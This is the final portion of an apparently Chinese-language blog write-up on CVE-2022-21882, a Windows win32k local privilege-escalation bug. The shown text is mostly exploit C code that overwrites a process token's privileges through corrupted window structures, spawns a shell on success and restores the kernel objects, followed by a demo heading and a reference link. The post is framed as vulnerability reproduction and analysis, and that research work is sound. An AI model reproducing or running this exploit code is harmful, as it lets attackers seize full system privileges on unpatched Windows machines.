		// 修改 Token->Privileges.Present = 0xFFFFFFFFFFFFFFFF
		SetWindowLongPtrW(gb::g_hVictimWnd, 0, 0xFFFFFFFFFFFFFFFF);

		if (CheckPrivilege(gb::hToken)) {
			SpawnShell();
		}
		else {
			printf("[+] 提权失败!\n");
		} 

		// 恢复 tagWND_Victim->ExtraBytes = Old
		SetWindowLongPtrW(gb::g_hTriggerWnd, 0x128 + 0x10, Old);
		// 恢复 tagWND_Trigger->Styles &= ~0x800
		SetWindowLongPtrW(gb::g_hTriggerWnd, Distance + 0xE8 + 0x10, Trigger->dwExStyle);
		system("pause");
	}
	
	return 0;
}

0x6 演示

CVE-2022-21882 分析&POC_第4张图片

0x7 参考

[1] https://www.anquanke.com/post/id/272305#h3-6

你可能感兴趣的:(总结,漏洞复现与分析,网络安全)